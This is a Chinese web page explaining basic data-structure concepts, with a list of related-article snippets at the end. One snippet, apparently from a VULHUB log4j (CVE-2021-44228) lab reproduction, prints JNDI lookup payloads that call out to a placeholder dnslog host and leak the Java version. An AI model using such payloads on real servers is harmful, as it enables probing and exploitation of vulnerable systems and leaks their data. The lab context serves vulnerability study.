数据结构 - C/C++


快速跳转

  • 数组
  • 链表
  • 队列

目录

数据结构

逻辑结构

物理结构


数据结构

  • 数据

    • 数据不仅仅包括整型、实型等数值类型,还包括字符及声音、图像、视频等非数值类型。

    • 计算机可以理解并按照指定格式处理。

  • 结构

    • 元素相互之间存在一种或多种特定关系的数据集合。

逻辑结构

  • 逻辑结构表明了数据元素之间的相互关系

    • 集合结构

      • 集合结构中的元素数据互相之间没有任何关系。

    • 线性结构

      • 线性结构中的元素数据互相之间是一对一的关系。

    • 树形结构

      • 树形结构中的元素数据互相之间是一对多的关系。

    • 网状结构

      • 网状结构中的元素数据互相之间是多对多的关系。

物理结构

  • 物理结构表示了数据在计算机内存中的存储方式。

  • 顺序空间存储

    • 数据元素存放在地址连续的内存空间里。
  • 链式空间存储

    • 数据元素存放在任意存储单元,存储单元地址可以是连续的、可以是不连续的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/318145.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java-异常处理-定义三角形类Triangle和异常三角形IllegalTriangleException类 (1/2)

任意一个三角形,其任意两边之和大于第三边。当三角形的三条边不满足前述条件时,就表示发生了异常,将这种异常情况定义为IllegalTriangleException类。 自定义异常类IllegalTriangleException: 当三角形的三条边不满足条件&#x…

Unreal 编辑器工具 批量重命名资源

右键 - Editor Utilities - Editor Utility Blueprint,基类选择 Asset Action Utility 在类默认值内,可以添加筛选器,筛选指定的类型 然后新建一个函数,加上4个输入:ReplaceFrom,ReplaceTo,Add…

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果? 浮雕效果是一种图像处理技术,用于将图像转换为看起来像浮雕一样的效果,给人一种凸起或凹陷的立体感觉,下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的,效果比较…

使用unreal engine5.3.2创建c++第一人称游戏

UE5系列文章目录 文章目录 UE5系列文章目录前言一、NuGet 简介二、解决方法: 前言 为了使用unreal engine5.3.2创建c第一人称游戏,今天安装了Visual Studio 2022专业版。在ue5中创建c工程,结果编译器报错: 严重性 代码 说明 项目…

酒水门店私域流量运营搭建执行规划方案

【干货资料持续更新,以防走丢】 酒水门店私域流量运营搭建执行规划方案 部分资料预览 资料部分是网络整理,仅供学习参考。 PPT可编辑(完整资料包含以下内容) 目录 精酿啤酒品牌私域执行运营的内容策划,涉及以下几个…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。 访问该环境: POC 构造(任选其一): ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

【跟马少平老师学AI】-【神经网络是怎么实现的】(六)过拟合问题

一句话归纳: 1)过拟合问题: 图中的点为样本直线欠拟合曲线2过拟合 2)迭代次数与拟合情况: 训练次数过多可能导致过拟合。 3)正则化项法弱化过拟后问题: 加正则项,在最小化损失函数时…

Github 2024-05-02 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2024-05-02统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10PureBasic项目1Kubernetes: 容器化应用程序管理系统 创建周期:3618 天开发语言:Go协议类型:Apache License 2.0Star数量:106913 个…

Ubuntu安装Neo4j

Ubuntu(在线版) 更新软件源 sudo apt-get update 添加Neo4j官方存储库 wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add - 将地址添加到系统的软件包源列表中 echo deb https://debian.neo4j.com stable latest | su…

stm32单片机开发三、DMA

DMA其实就是一种将ADC的数据寄存器、串口的数据寄存器等等一些数据放到sram中特定位置,方便CPU去读取 比如ADC转换,DMA直接转换的ADC的值放在内存中的特定位置,CPU可以直接去读取 uint16_t AD_Value[4]; //定义用于存放AD转换结果的全局…

C语言/数据结构——每日一题(反转链表)

一.前言 大家好!今天又是每日一题环节。今天我为大家分享了一道单链表题——反转链表。 废话不多说,让我们直接进入正题吧。 二.正文 1.1题目信息 这是一道leetCode上面的一道题:https://leetcode.cn/problems/reverse-linked-list 1.2解…

ios CI/CD 持续集成 组件化专题五-(自动发布私有库-组件化搭建)

一:手动发布私有库总结 手动发布pod私有库,需要进行如下几步操作: 1、修改完代码之后,需要提交代码push到git仓库。 2、给代码打tag。 3、修改podspec文件的version值,使其和设置的tag一直。 4、命令行执行pod repo…

用js代码实现贪吃蛇小游戏

js已经学了大部分了,现在就利用我所学的js知识试试做贪吃蛇小游戏吧 以下部分相关图片以及思路笔记均出自渡一陈老师的视频 首先制作简单的静态页面,添加贪吃蛇移动的背景和相关图片,比如开始游戏等等 将各个功能均封装在函数中&#xff0…

毫米波雷达多人呼吸心跳检测MATLAB仿真

本文基于TI的IWR1642毫米波雷达 2T4R MIMO阵列,通过实际采集数据算法仿真,实现多人呼吸心跳检测。 文章末尾给出了本文的仿真代码。 主要内容包含: (1)雷达参数设定 (2)ADC数据导入 &#xff08…

rocketmq dashboard控制台中topic状态无法展示

现象 在使用rocketmq控制台查看topic状态和订阅状态时,出现错误和没有信息的情况。 原因 rocketmq控制台版本问题,最新版本为1.0.1,支持rocketmq5版本,如果使用rocketmq4版本的服务无法兼容对应的数据。同理1.0.0版本也无法兼容ro…

AI图书推荐:用ChatGPT快速创建在线课程

您是否是您领域的专家,拥有丰富的知识和技能可以分享?您是否曾想过创建一个在线课程,但被这个过程吓倒了?那么,是时候把这些担忧放在一边,迈出这一步了!有了这本指南和ChatGPT的帮助&#xff0c…

【前端】-【防止接口重复请求】

文章目录 需求实现方案方案一方案二方案三 需求 对整个的项目都做一下接口防止重复请求的处理 实现方案 方案一 思路:通过使用axios拦截器,在请求拦截器中开启全屏Loading,然后在响应拦截器中将Loading关闭。 代码: 问题&…

Scala应用 —— JDBC的创建

文章目录 Scala应用 —— JDBC的创建前言一、JDBC的创建过程1.初始化连接1.1 配置驱动1.2 创建连接对象 2. 初始化执行器2.1 创建执行器对象2.2 初始化执行器参数 3. 执行操作并返回结果 二、Scala JDBC的基本设计思路1. 操作步骤设计2. 解决结果差异化3.实现jdbc方法并输出结果…

WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析

在浏览器中渲染大尺寸 3D 模型:Speckle 处理空间抖动的方法 WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析 注: 相机空间和视图空间 概念等效混用 1、实现的关键代码 const material new THREE.RawShaderMaterial({uniforms: {cameraPostion: {…

《十二》Qt各种对话框之FileDialog文件对话框及QMessageBox 消息对话框

QFileDialog 对话框 选择打开一个文件 若要打开一个文件,可调用静态函数 QFileDialog::getOpenFileName(),“打开一个文件”按钮的响应代码如下: void Dialog::on_btnOpen_clicked() { //选择单个文件QString curPathQDir::currentPath()…